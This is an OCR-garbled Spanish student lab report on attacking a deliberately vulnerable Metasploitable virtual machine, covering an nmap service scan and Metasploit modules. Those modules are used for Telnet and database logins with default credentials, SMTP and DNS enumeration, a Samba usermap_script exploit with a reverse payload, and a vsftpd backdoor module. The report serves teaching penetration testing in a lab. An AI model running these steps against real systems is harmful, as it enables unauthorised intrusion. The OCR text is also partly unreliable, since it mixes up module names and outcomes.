Stats: 0:02:05 elapsed; © hosts completed (1 up), 1 undergoing Service Scan
an Timing: About 95.65% done; ETC: 22:29 (0:00:06 remaining)
Stats: 0:02:30 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 100.00% done; ETC: 22:29 (0:00:00 remaining)
Nmap scan report for 192.1.1.6
Host is up (0.00031s latency).
Not shown: 977 closed tcp ports (reset)
STATE SERVICE VERSION
open ftp vsftpd 2.3.4
open ssh OpenSSH 4.7p1 Debian Subuntul (protocol 2.0)
open telnet Linux telnetd
open smtp Postfix smtpd
open domain ISC BIND 9.4.2
open http Apache httpd 2.2.8 ((ubuntu) DAV/2)
open rpcbind (RPC #100000)
open netbios- amba smbd 3.X - 4.X (workgroup: WORKGROUP)
open netbios- amba smbd 3.X - &4.X (workgroup: WORKGROUP)
open exec netkit-rsh rexecd
open login?
open shell?
1099/tcp open java-rmi GNU Classpath grmiregistry
1524/tcp open bindshell Metasploitable root shell
2049/tcp open nfs 2-4 (RPC #100003)
2121/tcp open ftp ProFTPD 1.3.1
3306/tcp open mysql MySQL 5.0.51a-3ubuntu5
5432/tcp open postgresql PostgresSQL DB 8.3.0 - 8.3.7

5900/tcp open vnc VNC (protocol 3.3)

6000/tcp open X11 (access denied)

6667/tcp open irc unrealIRcd

8009/tcp open ajpi3 Apache Jserv (Protocol vi.3)

8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1

MAC Address: 08:00:27:FC:4B:33 (PCS Systemtechnik/Oracle virtualBox virtual NIC)

service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; 0Ss: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 157.47 seconds

Figura 12. Escaneo de Puertos y Servicios Vulnerables Con Nmap sV

Observacion: Esta imagen muestra los resultados que obtuvimos al ejecutar el comando

nmsp —sV 192.1.1.6 con el cual identificamos los siguientes puertos y servicios vulnerables.

Tabla 4. Servicios detectados en la maquina victima

Puerto Protocolo Servicio Version detectada
21 TCP FTP vsftpd 2.3.4 (vulnerable a backdoor)
22 TCP SSH OpenSSH 4.7p1 Debian (obsoleto)

23 TCP Telnet Linux telnetd (protocolo inseguro)
25 TCP SMTP Postfix smtpd

53 TCP DNS ISC BIND 9.4.2

80 TCP HTTP Apache 2.2.8

111 TCP RPCBind RPC 2
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Puerto Protocolo Servicio Version detectada
139/445 TCP Samba (SMB) Samba 3.x - 4.x (posible explotacion remota)
512-514 TCP R services rexec, rlogin, rsh (riesgo de ejecucion remota)
1099 TCP Java RMI Registry GNU Classpath gmriregistry
1524 TCP Shell remoto Metasploitable root shell
3306 TCP MySQL MySQL 5.0.51a-3ubuntu5
5432 TCP PostgreSQL PostgreSQL 8.3.x
5900 TCP VNC VNC protocol (con acceso denegado)
6000 TCP X11 Interfaz grafica X11 (sin proteccion)
8009 TCP AJP13 Apache Jserv
8180 TCP HTTP Apache Tomcat/Coyote JSP engine 1.1

Ya teniendo una lista de servicios y versiones detectadas procedimos entonces hacer la

vulneracion en los puertos solicitados por el docente Rafael S Morales aplicando los pasos

aprendidos en clase con €l.

Para tener en cuenta: Para efectos practicos adjuntamos una tabla con los puertos que el

docente solicito que vulneraramos.

Tabla 5. Puertos Para Vulnerar

Puerto Servicio Version
23/tep Telnet Linux Telnet
25/tep SMTP Postfix smtpd
53/tcp DNS ISC BIND 9.4.2

139/tcp  Samba (SMB) Samba 3.x - 4.x (WORKGROUP)

445/tcp  Samba (SMB) Samba 3.x - 4.x (WORKGROUP)

2121/tcp FTP alternativo ProFTPD 1.3.1

3306/tcp MySQL MySQL 5.0.51a-3ubuntu5

5432/tcp  PostgreSQL PostgreSQL 8.3.x
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2.8.2.1 Vulneracion del Puerto 23 (paso 5)

Para vulnerar este puerto lo primero que hicimos fue ingresar al modo super usuario, para
este se utilizé el comando sudo su, este comando nos permitid tener acceso a todas las
herramientas que necesitdbamos luego de esto, se accedio a la consola de metaplotaible

framework a través del comando msfconsole tal como lo muestra la siguiente imagen

kali@kali: ~ root@Kkali: fhome/kali

/home/kali

Metasploit tip: Use the edit command to open the currently active module
in your editor

xiliary - 431 post
1610 payloads - 49 encoders - 13 nops
+ -- --=[ 9 evasion

Metasploit Documentation: https://docs.metasploit.com/

Figura 13.Ingreso a Metaplotaible Framework Por Msfconsole

Luego de estar aqui y utilizando el comando search telnet_login (Flecha azul) para

identificar los modulos auxiliares que podiamos usar para realizar esta vulneracion.

>
msf6 > search telnet_login

Disclosure Date Rank Check Description

0 auxiliary/admin/http/netgear_pnpx_getsharefolderlist_auth_bypass 2021-09-06 normal Yes Netgear PNPX_GetShareFolderList Authentication Bypass

1 auxiliary/scanner/telnet/telnet_login 3 normal No Telnet Login Check Scanner

Interact with a module by name or index. For example info 1,

msf6 > user 1
Unknown command: user. Did you mean €? Run the help command for more details
msf6 > use 1
) > set rhosts 192.1.1.6

Figura 14. Identificacion de Modulos Auxiliares Con Search Telnet Login
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Con el comando use y el numero 1 (flecha naranjada) Elegimos el modulo auxiliar que

ibamos a utilizar para realizar la vulneracion y luego pedimos con el siguiente paso.

msf6 auxiliary(

) > options

Module options (auxiliary/scanner/telnet/telnet_login):

Name
ANONYMOUS_LOGIN
BLANK_PASSWORDS
BRUTEFORCE_SPEED
CreateSession
DB_ALL_CREDS
DB_ALL_PASS
DB_ALL_USERS
DB_SKIP_EXISTING
PASSWORD
PASS_FILE

RHOSTS

RPORT
STOP_ON_SUCCESS
THREADS

USERNAME
USERPASS_FILE
USER_AS_PASS
USER_FILE
VERBOSE

View the full module info with the i

ms£6 auxiliary(

Attempt to login with a blank username and password

Try blank passwords for all users

How fast to bruteforce, from 0 to 5

Create a new session for every successful login

Try each user/password couple stored in the current database

Add all passwords in the current database to the list

Add all users in the current database to the list

Skip existing credentials stored in the current database (Accepted: none, user, usergrealm)
A specific password to authenticate with

File containing passwords, one per line

The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
The target port (TCP)

Stop guessing when a credential works for a host

The number of concurrent threads (max one per host)

A specific username to authenticate as

File containing users and passwords separated by space, one pair per line

Try the username as the password for all users

File containing usernames, one per line

Whether to print output for all attempts

command.

Figura 15.0ptiones de Usuario y Contraseiia

Observacion: con el comando Options pudimos ver las opciones de contrasefia que se

requerian para ingresar a esta maquina.

root@kali: /nome/kali root@kali: fnhome/kali

ms£6 auxiliary( ) > telnet 192.1.1.6
exec: telnet 192.1.1.6

Warning: Never expose this VM to an untrusted network!

Contact: msfdev[at]metasploit.com

Login with msfadmin/msfadmin to get started

metasploitable login
Password:

Login incorrect
metasploitable login: msfadmin

Password:

Last login: Wed Aug 6 21:46:23 EDT 2025 from 192.1.1.5 on pts/1

Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 1686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Figura 16. Ingreso por Telnet



61

Ingresamos a telnet por medio de la direccion ip 192.1.1.6 (flecha verde) y mediante El
Usuario msfadmin y la contraseiia msfadmin pudimos ingresar a la maquina completando asi la

vulneracion.

2.8.2.2 Vulneracion Del Puerto 25 (SMTP-Paso 6)
Accedimos a la consola de metaplotaible framework a través del comando msfconsole
luego utilizando el comando Search smtp_enum revisamos los médulos existentes para hacer

esta penetracion

msf6 > search smtp_enum

Matching Modules

Name Disclosure Date Rank Check Description

auxiliary/scanner/smtp/smtp_enum . normal

Interact with a module by name or index. For example inf

msf6 >

Figura 17.Modulos Auxiliares Para SMTP

Lo segundo que se hizo fue usar el modulo elegido. Con el comando Use 0 elegimos el
modulo tal como lo muestra la siguiente imagen, este modulo automatiza el proceso de envio de

peticiones SMTP con nombres de usuario que se leen desde un archivo tipo diccionario.

msf6 > search smtp_enum

Rank

auxiliary/scanner/smtp/smtp_enum . normal No SMTP User Enumeration Utility

Interact with a module by name or index. For example info 0

) > set rhosts 192.1.1.6

Y |

Figura 18. Eleccion Del Modulo y Reistro del Rhosts
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Observacion: Notese que en esta misma imagen y registramos el Rhosts, usamos |
comando Set rhosts 192.1.1.6 (flecha negra) para registrar la direccion de la victima a la que

vamos a atacar

msfe auxiliary( ) > set USER_FILE fusr/share/metasploit-framework/data/wordlists/unix_users.txt
USER_FILE => fusr/share/metasploit-framework/data/wordlists/unix_users.txt

msf6 auxiliary( ) > run
192.1.1.6:25 - 192.1.1.6:25 Banner: 220 metasploitable.localdomain ESMTP Postfix (Ubuntu)

Figura 19. Configuracion y Ejecucion Del Modulo Unix_Users. Txt

Luego utilizamos el archivo set user_file /usr/share/metasploit-
framework/data/wordlists/unix_users.txt Este archivo contiene una lista predefinida de
nombres de usuarios comunes en sistemas Unix/Linux Posteriormente, se ejecutd el modulo con

Run

- 192.1.1.6:25 Users found: , backup, bin, daemon, distccd, ftp, games, gnats, irc, libuuid, list, 1lp, mail, man, mysql, news, nobody, postfix, postgres, postmaster,

sshd, sync, sys, syslog, user, uucp, www-data
- Scanned 1 of 1 hosts (100% complete)
ry module execution completed

Figura 20. Resultado Obtenido al Ejecutar lo Que Hicimos

2.8.2.3 Penetracion Del Puerto 53 (DNS-Paso 7)

Para este puerto proceso de ingreso es practicamente el mismo, por lo menos em mi caso
ya que antes de vulnerar algiin puerto lo que hacia era limpiar la consola, volviendo a la
explicacion, lo primero que hice luego de ingresar el comando Msfconsole fue ingresar el
comando Search dns. Este comando nos permite revisar los modulos auxiliares presente dentro

de metaplotaible framework a la hora de vulnerar puertos dns.
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root@kali: /home/kali root@kali: fhome/kali

fis£6 > search dns

Name Disclosure Date Rank Check Description

auxiliary/admin/dcerpc/cve_2022_26923_certifried 5 normal Active Directory Certificate Services (ADCS) privilege escalation (Certifried)
\_ action: AUTHENTICATE 5 < = Same as REQUEST_CERT but also authenticate
\_ action: PRIVESC 5 : g Full privilege escalation attack
\_ action: REQUEST_CERT ! . o Request a certificate with DN§ host name matching the DC
exploit/multi/http/apache_commons_text4shell 2022-10-13 er s Apache Commons Text RCE

Figura 21. Elegimos el Modulo Axiliar para DNS

Luego de hace la eleccion del respectivo modulo utilizamos el comando use
auxiliary/gather/enum_dns para elegir el modulo que se va a utilizar en esta penetracion. Show
options nos muestras los distintos mddulos opcionales del modulo auxiliar elegido (ver el circulo

amarillo).

root@kali: /nhome/kali root@kali: /nome/kali

Interact with a module by name or index. For example info 215, use 21

Required Description

The target domain
i Enumerate DNS A record
ENUM_AXFR Initiate a zone transfer against each NS record
ENUM_BRT Brute force subdomains and hostnames via the supplied wordlist
ENUM_CNAME e Enumerate DNS CNAME record
ENUM_MX Enumerate DNS MX record
ENUM_NS Enumerate DNS NS record
ENUM_RVL Reverse lookup a range of IP addresses
ENUM_SOA Enumerate DNS SOA record
ENUM_SRV Enumerate the most common SRV records
ENUM_TLD Perform a TLD expansion by replacing the TLD with the IANA TLD list
ENUM_TXT r Enumerate DNS TXT record
IPRANGE The target address range or CIDR identifier

Figura 22. Eleccion Del Respectivo Modulo y su Opcion

Luego se utiliz6 el modulo enum_dns de Metasploit para realizar consultas DNS sobre el
dominio interno set DOMAIN metasploitable.local, Aunque se corri6 el servicio usando Run,
no se recibieron resultados al utiles, el andlisis confirmé que la méquina responde a peticiones

DNS basicas, validando su configuracion como servidor.
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root@kali: /home/kali root@kali: /home/kali

STOP_WLDCRD false Stops bruteforce enumeration if wildcard resolution is detected
THREADS 1 Threads for ENUM_BRT
WORDLIST /usr/share/metasploit-framework/data/wordlists/namelist.txt no Wordlist of subdomains

View the full module info with the , or command.

ms£6 auxiliary( ) > set DOMAIN mptazsloitable.local
DOMAIN => metasploitable.local
msf6 auxiliary( ) > run
Running module against 192.1.1.6
Querying DNS NS records for metasploitable.local
AXFR failed: undefined method ‘map!' for nil
Querying DNS CNAME records for metasploitable.local
Querying DNS NS records for metasploitable.local
Querying DNS MX records for metasploitable.local
Querying DNS SOA records for metasploitable.local
Querying DNS TXT records for metasploitable.local
Querying DNS SRV records for metasploitable.local
Auxiliary module execution completed
ms£6 auxiliary( ) > set NS 192.1.1.6
NS => 192.1.1.6
ms£6 auxiliary( ) > run
Running module against 192.1.1.6
Attempting DNS AXFR for metasploitable.local from 192.1.1.6
Query metasploitable.local DNS AXFR - no results were received
Querying DNS CNAME records for metasploitable.local
Querying DNS NS records for metasploitable.local
Querying DNS MX records for metasploitable.local
Querying DNS SOA records for metasploitable.local
Querying DNS TXT records for metasploitable.local
Querying DNS SRV records for metasploitable.local
Auxiliary module execution completed
msf6 auxiliary( Y |

Figura 23. Modulo Enum_DNS de Metasploit Para Realizar Consultas DNS

2.8.2.4 Vulneracion en Puertos 139 y 445 (Paso 7)

Omitiendo la explicacion del uso del comando msfconsole lo primero que se hizo fue

ingresar el comando Search samba smbd 3x que muestra los modulos auxiliares a utilizar.

msf6 > search Samba smbd 3.X

Matching Modules

# Name Disclosure Date Rank Check Description

0 auxiliary/dos/samba/read_nttrans_ea_list . normal No Samba read_nttrans_ea_list Integer Overflow

Interact with a module by name or index. For example info

Figura 24. Modulos Auxiliares Para el Puerto 129 Y 445

Luego se uso6 el comando use exploit/multi/samba/usermap_script que permite ingresar

a las opciones que nos da el modulo anterior.

sfe exploit(

Using configured payload cmd/uni
msfh exploit(

Observacion: Este comando nos permiti6 atacar el servicio Samba en el puerto 139 y el

445 de la maquina victima. Adicional se prepar6 el payload cmd/unix/reverse usuarios.
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root@kali: home/kali

root@kali: /home/kali

ew the full module info with the

Figura 25.Registro del RHOS

root@kali: /home/kali
root@kali: /home/kali

root@kali: /nome/kali

) > set RHOSTS 192.1.1.6

56 exploit(
RHOSTS => 192.1.1.6
s£6 exploit( ) > options
Hodule options (exploit/multi/samba/usermap_script):
Name
The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html

RHOSTS 192.1
RPORT 139 The target port (TCP)

bayload options (emd/unix/reverse):

Current Setting Required Description

Name
LPORT 4444

xploit target:
Id Name
Automatic
command.

iew the full module info with the info, or

Figura 26. Explotamos el puerto seleccionado

Por tltimo, usamos el comando exploit para explotar el servicio configurado y vulnerable

que tenian los puertos.

2.8.2.5 Vulneracion del Puerto 2121 (Paso 8)

Luego de identificar que el servicio en el puerto 2121 correspondia a una version

vulnerable de ProFTPD utilizando el comando Search ProFTPD, se procedio a utilizar

Metasploit Framework para llevar a cabo una explotacion directa.
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root@kali: /home/kali root@kali: /fhome/kali

Metasploit Documentation: https://docs.metasploit.com/

msf6 > search ProfFTPD 1.3.1
No results from search
msf6 > search ProFTPD

Matching Modules

Name Disclosure Date Rank Description

exploit/linux/misc/netsupport_manager_agent 1-0; average NetSupport Manager Agent Remote Buffer Overflow

exploit/linux/ftp/proftp_sreplace 2006-11-26
\_ target: Automatic Targeting :

\_ target: Debug

\_ target: PEOFTPD 1.3.0 (source install) / Debian 3.1 . . § :
exploit/freebsd/ftp/proftp_telnet_iac 2010-11-01 reat PEOETPD 1.3.2rc3 - 1.3.3b Telnet IAC Buffer Overflow (FreeBSD)

\_ target: Automatic Targeting 5 2 2

\_ target: Debug

ProFTPD 1.2 - 1.3.0 sreplace Buffer Overflow (Linux)

\_ target: ProFTPD 1.3.2a Server (FreeBSD 8.0) - . . .
exploit/linux/ftp/proftp_telnet_iac 2010-11-01 reat ProFTPD 1.3.2rc3 - 1.3.3b Telnet IAC Buffer Overflow (Linux)
\_ target: Automatic Targeting 4 Z
\_ target: Debug
\_ target: ProFTPD 1.3.3a Server (Debian) - Squeeze Betal 3
\_ target: ProFTPD 1_3_3a Server (Debian) - Squeeze Betal (Debug) .
\_ target: ProFTPD 1.3.2c Server (Ubuntu 10.04) . . -
exploit/unix/ftp/profEpd_modcopy_exec 2015-04-22 ent PEOETPD 1.3.5 Mod_Copy Command Execution
exploit/unix/ftp/proftpd 133c_backdoor 2010-12-02 excellent ProFTPD-1.3.3c Backdoor Command Execution

Figura 27. Revisamos Los Modulos Que Podemos Usar Para Vulnerar Este Servicio.

Para aprovechar la vulnerabilidad que tenia este puerto, utilizamos el modulo use
exploit/unix/ftp/vsftpd_234 backdoor ya que este modulo explota una ejecucion remota de
comandos a través de una conexion maliciosa al servicio FTP, usando un canal de comunicacion

no autenticado.

msf6 exploit( ) > use exploit/unix/ftp/vsftpd_234_backdoor
Using configured payload cmd/unix/interact
msf6 exploit( ) > options

Module options (exploit/unix/ftp/vsftpd_234 backdoor):
Name Current Setting Required Description

RHOSTS The target host(s), see https://docs.metasploit.com/doc

s/using-metasploit/basics/using-metasploit.html
RPORT 21 The target port (TCP)

Exploit target:

Name

Automatic

Figura 28. Configuracion Del Modulo Seleccionado

Cabe resaltar que al usar este modulo use exploit/unix/ftp/proftpd_234 selecciona
automaticamente el payload cmd/unix/interact que nos permite crear un aseso remoto

interactivo.
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msf6 exploit( ) > set rhosts 192.1.1.6
rhosts => 192.1.1.6

msf6 exploit( ) > set rport 2121

rport => 2121

msf6 exploit( ) > run

192.1.1.6:2121 - Banner: 220 ProFTPD 1.3.1 Server (Debian) [::ffff:192.1.1.6]
192.1.1.6:2121 - USER: 331 Password required for WUcFUe:)
Exploit completed, but no session was created.

msf6 exploit( ) > |

Figura 29. Registro Del Rhosts y Rport

Luego registramos el Rhosts 192.1.1.6 y el Rport 2121 y por ultimo corremos las
configuraciones realizadas, Tras la ejecucion del mddulo, se recibid respuesta del servidor y, si la
vulnerabilidad estaba activa, se establecio una sesion remota con acceso interactivo. Esto nos
permite como atacante ejecutar comandos directamente en el sistema objetivo sin necesidad de

autenticarnos previamente.

msf6 exploit( ) > options
Module options (exploit/unix/ftp/vsftpd_234_backdoor):
Name Current Setting Required Description

CHOST The local client address

CPORT The local client port

Proxies A proxy chain of format type:host:port[,type:host:port
1. <23

RHOSTS 192.1.1.6 The target host(s), see https://docs.metasploit.com/do
cs/using-metasploit/basics/using-metasploit.html

RPORT 2121 The target port (TCP)

Figura 30. Se Muestra el Rhosts y Rport guardados

2.8.2.6 Vulneracion del Puerto 3306 (MySQL) Paso 9

Para vulnerar el puerto 3306 ingresamos el comando search mysql_login (flecha azul)
que nos muestra el modulo que vamos a necesitar para realizar la vulneracion, entonces
procedimos a ingresar el comando Use 0 (linea naranjada ) que nos permite elegir el mdédulo

Auxiliar para escanear posibles vulnerabilidades que nos dejen penetrar en la base de datos
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msf6 > search mysql_login

Matching Modules

Disclosure Date Rank Check Description

0 auxiliary/scanner/mysql/mysql_login . normal

Interact with a module by name or index. For example info

ogir

msf6 > user 0 <~
Unknown command: user. Did you mean use? Run the help command for more details.
msf6 > use 0
New in Metasploit 6.4 - The CreateSession option within this module can open an interactive
session
msf6 auxiliary( )y > 1

Figura 31. Modulo Auxiliares Para Vulneras MySQL

root@kali: /home/kali root@kali: /home/kali

Module options (auxiliary/scanner/mysql/mysql_login):

Name

Current Setting Required Description

ANONYMOUS_LOGIN Attempt to login with a blank username and pa

ssword

BLANK_PASSWORDS p Try blank passwords for all users
BRUTEFORCE_SPEED How fast to bruteforce, from 0 to 5
CreateSession Create a new session for every successful log

in

DB_ALL_CREDS Try each user/password couple stored in the c

urrent database

DB_ALL_PASS Add all passwords in the current database to

the list

DB_ALL_USERS Add all users in the current database to the

list

DB_SKIP_EXISTING Skip existing credentials stored in the curre

nt database (Accepted: none, user, usergrealm

)

PASSWORD A specific password to authenticate with
PASS_FILE File containing passwords, one per line

Proxies A proxy chain of format type:host:port[,type:

host:port][...]

RHOSTS The target host(s), see https://docs.metasplo
it.com/docs/using-metasploit/basics/using-met

RPORT
STOP_ON_SUCCESS false Stop guessing when a credential works for a h
ost

THREADS The number of concurrent threads (max one per
host)

USERNAME A specific username to authenticate as
USERPASS_FILE File containing users and passwords separated

asploit.html
3306 The target port (TCP)

Figura 32. Opciones Para Penetrar en la Base de datos
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Lo siguiente que hicimos fue ingresar el comando Options esto lo hacemos para que se
nos revela la tabla que nos dird que necesitamos para ingresar de forma remota a la base de datos
MySQL. Si observamos, la tabla nos dice que necesitamos registrar un usuario (rectangulo

azul), una contraseifia (rectangulo amarillo) y el Rhosts de la maquina (rectangulo Naranjado)
Donde falta dice que para ingresar a mysql necesitamos la contrasefia y el rhosts

Observacion: Se puede observar que hasta el momento no emos ingresado nada de esos

campos aun por lo que procederemos a hacerlo ya.

msfb auxiliary( i rhosts 192.1.1.6

rhosts => 192.1.1.6

Figura 33. Ingresamos el RHOSTS

Utilizando el comando Set rhosts 192.1.1.6, Se ingreso la ip que comunica a la méaquina

virtual de metaploteible.

Auxiliary module execution completed
msf6 auxiliary( ) > se assword root
password => root

msfb auxiliary( )} > set username root
username => root
msfb auxiliary( )} > options

Figura 34. Registro del Usuario y la Contrasena

Para este caso, usamos los comandos set password root y set username root , estos
comandos permiten registras la contrasefia y el usuario por defecto a nuestra tabla, lo que nos
permitira acceder de remota a esta base de datos, es recomendable que se usen estos usuarios

porque estan por defecto dentro de la base de datos.



Name
ANONYMOUS_LOGIN
BLANK_PASSWORDS
BRUTEFORCE_SPEED
CreateSession
DB_ALL_CREDS
DB_ALL_PASS
DB_ALL_USERS
DB_SKIP_EXISTING
PASSWORD
PASS_FILE
Proxies

RHOSTS

RPORT
STOP_ON_SUCCESS

THREADS

USERNAME
USERPASS_FILE

USER _AS PASS

Current Setting

192.1.1.6

Description

Attempt to login with a blank username and pa
ssword

Try blank passwords for all users

How fast to bruteforce, from 0 to 5

Create a new session for every successful log
in

Try each user/password couple stored in the c
urrent database

Add all passwords in the current database to
the list

Add all users in the current database to the
list

Skip existing credentials stored in the curre
nt database (Accepted: none, user, usergrealm

A specific password to authenticate with

File containing passwords, one per line

A proxy chain of format type:host:port[,type:

host:port][...]

The target host(s), see https://docs.metasplo
it.com/docs/using-metasploit/basics/using-met

asploit.html

The target port (TCP)

Stop guessing when a credential works for a h
ost

The number of concurrent threads (max one per
host)

A specific username to authenticate as

File containing users and passwords separated
by space, one pair per line

Try the username as the password for all user

Figura 35. Muestra de Que Las Configuraciones se Guardaron

Se ve como registramos un usuario (rectangulo azul), una contraseiia (rectangulo

amarillo) y el Rhosts de la maquina (rectangulo Naranjado)

msf6 auxiliary( ) > run
[+] 192.1.1.6:3306 - 192.1.1.6:3306 - Found remote MySQL version 5.0.51a
['] 192.1.1.6:3306 - No active DB -- Credential data will not be saved!
192.1.1.6:3306 - 192.1.1.6:3306 - LOGIN FAILED: rootl:rootl (Unable to Connect: inva
1id packet: scramble_length(0) != length of scramble(21))

192.1.1.6:3306 - 192.1.1.6:3306 - LOGIN FAILED: rootl: (Unable to Connect: invalid p

acket: scramble_length(@) !'= length of scramble(21))

192.1.1.6:3306

192.1.1.6:3306

192.1.1.6:3306
ion set to true

- Scanned 1 of 1 hosts (100% complete)
- Bruteforce completed, 0 credentials were successful.
- You can open an MySQL session with these credentials and Creat

Figura 36. Corremos Los Servicios

Con Run corremos la configuracion del modulo luego cambiamos de pagina eh

ingresamos al servicio con la contrasefia que configuramos.
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root@kali: /home/kali root@kali: /home/kali

/home/kali
192.1.1.6 -u root --skip-ssl
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MySQL connection id is 21
Server version: 5.0.51a-3ubuntus (Ubuntu)

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Support MariaDB developers by giving a star at https://github.com/MariaDB/server
Type "help;' or "\h' for help. Type '\c' to clear the current input statement.

mysaL [(none)]> SHOW DATABASE;

ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL serv
er version for the right syntax to use near 'DATABASE' at line 1

mysaL [(none)l>

mysqL [(none)]> SHOW DATABASES;

+
information_schema |
dvwa I
metasploit I
mysql |
owasple

tikiwiki |
tikiwikil9os |

rows in set (0,001 sec)

mysaL [(none)l> |}

Figura 37. Ingreso a MySQOL

Ingreso a MySQL con los comandos mysql -h 192.1.1.6 -u root - -skip-ssl esta es una
forma de ingreso de forma remota, por ultimo, ingresamos show database; podemos ver la

tabla de usuario de la base de datos.

2.8.2.7 Puerto 5432 (PostGres) paso 10

Para vulnerar el ultimo puerto hicimos casi lo mismo que se hizo con en el paso 9. Luego
de ingresar al frameword de metaplotaible ingresamos el comando Search postgres login aqui

escogeremos el modulo que utilizaremos para obtener acceso a esta base de datos.

msf6 > search posgres_login
No results from search
msf6 > search postgres_login

Matching Modules

Disclosure Date Rank Check Description

0 auxiliary/scanner/postgres/postgres login . normal No PostgreSQL Log
in Utility

Figura 38. Elegimos el Modulo Necesario Para Vulnerar Postgres
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Lo segundo que hicimos fue elegir con el comando Use 0 (flecha azul) para elegir el
modulo 0 que seria el modulo que vimos en la imagen anterior y por tltimo miramos las

opciones (flecha naranjada) para este modulo.

msf6 > use 0
New in Metasploit 6.4 - The CreateSes
session

n option within this module can open an interactive

msf6 auxiliary(

A continuacién mostrare las opciones que nos da este puerto para poder vulnerar la base

Name
ANONYMOUS_LOGIN
BLANK_PASSWORDS
BRUTEFORCE_SPEED
CreateSession

DATABASE
DB_ALL_CREDS

DB_ALL_PASS
DB_ALL_USERS

DB_SKIP_EXISTING

PASSWORD

PASS_FILE

Proxies
RETURN_ROWSET
RHOSTS

RPORT

STOP_ON_SUCCESS

THREADS

) > options

—

Figura 39. Eleccion de Modulo y Revision de Sus Opciones

rent Setting
false
false
5

false

templatel
false

false
false

none

/usr/share/metasploit-
framework/data/wordlis
ts/postgres_default_pa
ss.txt

Required

de datos postgres por medio de modulo que elegimos.

Description

Attempt to login with a blank username
and password

Try blank passwords for all users

How fast to bruteforce, from 0 to 5
Create a new session for every success
ful login

The database to authenticate against
Try each user/password couple stored i
n the current database

Add all passwords in the current datab
ase to the list

Add all users in the current database
to the list

Skip existing credentials stored in th
e current database (Accepted: none, us
er, usergrealm)

A specific password to authenticate wi
th

File containing passwords, one per lin
e

A proxy chain of format type:host:port
[,type:host:port][...]

Set to true to see query result sets
The target host(s), see https://docs.m
etasploit.com/docs/using-metasploit/ba
sics/using-metasploit.html

The target port

Stop guessing when a credential works
for a host

The number of concurrent threads (max

Figura 40. Opciones Que Podemos Utilizar

Ya podemos preceder a registrar y rhosts, user y pass que vamos a necesitar para
ingresar a la base de datos de postgres por lo que lo que haremos sera registrarlos para proceder a

vulnerar el servicio.
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sfb6 auxiliarw( ) » set rhosts 192.1.1.6
rhosts => 192.1.1.6
sf6 auxiliary( )} > set username postgres

username =»> postgres

sfE6 auxiliary( ) > set password postgre
password => postgres

sf6 auxiliarw( ) > options

Figura 41. Se registran el Rhosts, User Y Pass

Utilizando los comandos Set rhost 192.1.1.6, Set Username postgres y Set password

postgres, registramos esto y luego miramos las opciones para ver si todo se registro con €xito.

er, usergrealm)
PASSWORD postgres 45——-______ A specific password to authenticate wi
th
PASS_FILE /usr/share/metasploit- File containing passwords, one per lin
framework/data/wordlis e
ts/postgres_default_pa
ss.txt
Proxies A proxy chain of format type:host:port
[,type:host:port][...]
RETURN_ROWSET true Set to true to see query result sets
RHOSTS 192.1.1.6 The target host(s), see https://docs.m
etasploit.com/docs/using-metasploit/ba
sics/using-metasploit.html
RPORT The target port
STOP_ON_SUCCESS Stop guessing when a credential works
for a host
THREADS The number of concurrent threads (max
one per host)
USERNAME postgres A specific username to authenticate as
USERPASS_FILE /usr/share/metasploit- File containing (space-separated) user
framework/data/wordlis s and passwords, one pair per line
ts/postgres_default_us
rpass.txt

Figura 42. Revision de Que Todo se Haya Registrado Con Exito
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msf6 auxiliary( } = run

['] No active DB -- Credential data will not be saved!

[+] 192.1.1.6:5432 - Login Successful: postgres:postgresatemplatel
192. :5432 LOGIN FAILED: stgresgtemplatel (Incorrect: Invalid username or password)
192. 15432 LOGIN FAILED: templatel (Incorrect: Invalid username or password)
192. 15432 LOGIN FAILED: igergtemplatel (Incorrect: Invalid username or pass
192. 15432 LOGIN FAILED: tgresatemplatel (Incorrect: Invalid usernmame or pa
192. » D432 LOGIN FAILED: rdajtemplatel (Incorrect: Invalid username or pa
192. » D432 LOGIN FAILED: :admingtemplatel (Incorrect: Invalid username or pass
192, » 5432 LOGIN FAILED: scott:postgresgtemplatel (Incorrect: Invalid username or passw
192. » 5432 LOGIN FAILED: scott:@templatel (Incorrect: Invalid username or password)
192. 15432 LOGIN FAILED: scott:tigeratemplatel (Incorrect: Invalid username or password
192. 15432 LOGIN FAILED: scott:postgr templatel (Incorrect: Invalid username or pa
192. 15432 LOGIN FAILED: scott:passwordatemplatel (Incorrect: Invalid username or
192. 15432 LOGIN FAILED: scott:admingtemplatel (Incorrect: Invalid username or passw
192. 15432 LOGIN FAILED: admin:postgresatemplatel (Incorrect: Invalid username or pa
192. 10432 LOGIN FAILED: admin:@templatel (Incorrect: Invalid username or password)
192. » 5432 LOGIN FAILED: admin:tiger@templatel (Incorrect: Invalid wsername or password
192. » 5432 LOGIN FAILED: admin:postgresgtemplatel (Incorrect: Invalid username or passw
192. » 5432 LOGIN FAILED: admin:passwordatemplatel (Incorrect: Invalid username or passw
192. +5432 LOGIN FAILED: admimn:admin@templatel (Incorrect: Invalid wusername or password
192. 15432 LOGIN FAILED: admim:admingtemplatel (Incorrect: Invalid username or password
192.1. 15432 LOGIN FAILED: admin:passwordatemplatel (Incorrect: Invalid username or passw
Scanned 1 of 1 hosts (100% complete)
Bruteforce completed, 1 cr ntial was successful.
You can open a Postgres sessiom with these credentials and Cre =ssion set to true
Auxiliary module execution completed

Giliary( EN |

HRRERRERERRRERRBRESRRRRBRRBR R
HRrRRARRERRERRRBERRBRERREREREBERRBRRHZR
O N - - - - N - - O - - R - R R

Figura 43. Resultados obtenidos de la vulneracion

Al ejecutar la configuracion del modulo con el comando run identificaremos que hay
una vulneracidn exitosa con las credenciales que registramos (Flecha verde) luego ingresamos de

forma externa para probar que todo este correcto.

/home/kali
1 192.1.1.6 | postgres
